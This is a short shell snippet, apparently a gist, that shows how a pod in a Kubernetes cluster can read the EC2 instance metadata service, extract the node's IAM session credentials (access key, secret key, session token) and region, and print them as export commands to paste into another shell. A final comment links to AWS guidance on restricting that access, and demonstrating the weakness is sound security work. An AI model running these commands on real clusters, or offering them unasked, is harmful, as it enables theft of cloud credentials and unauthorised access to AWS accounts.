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Use K8s pod to extract session credentials and region from EC2 metadata service
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| # kubectl run my-shell --rm -it --restart=Never --image alpine --command sh | |
| apk add curl jq | |
| BASEURL=http://169.254.169.254/latest/meta-data | |
| ROLE=$(curl -s $BASEURL/iam/security-credentials) | |
| CREDS=$(curl -s $BASEURL/iam/security-credentials/$ROLE) | |
| AZ=$(curl -s $BASEURL/placement/availability-zone) | |
| echo "export AWS_REGION=${AZ::-1}"; echo "$CREDS" | jq -r '{AWS_ACCESS_KEY_ID: .AccessKeyId, AWS_SECRET_ACCESS_KEY: .SecretAccessKey, AWS_SESSION_TOKEN: .Token} | to_entries | .[] | "export " + .key + "=" + .value' | |
| # Paste the result into any shell and run `aws sts get-caller-identity` etc. | |
| # What you can do about it: | |
| # https://docs.aws.amazon.com/eks/latest/userguide/best-practices-security.html#restrict-ec2-credential-access |
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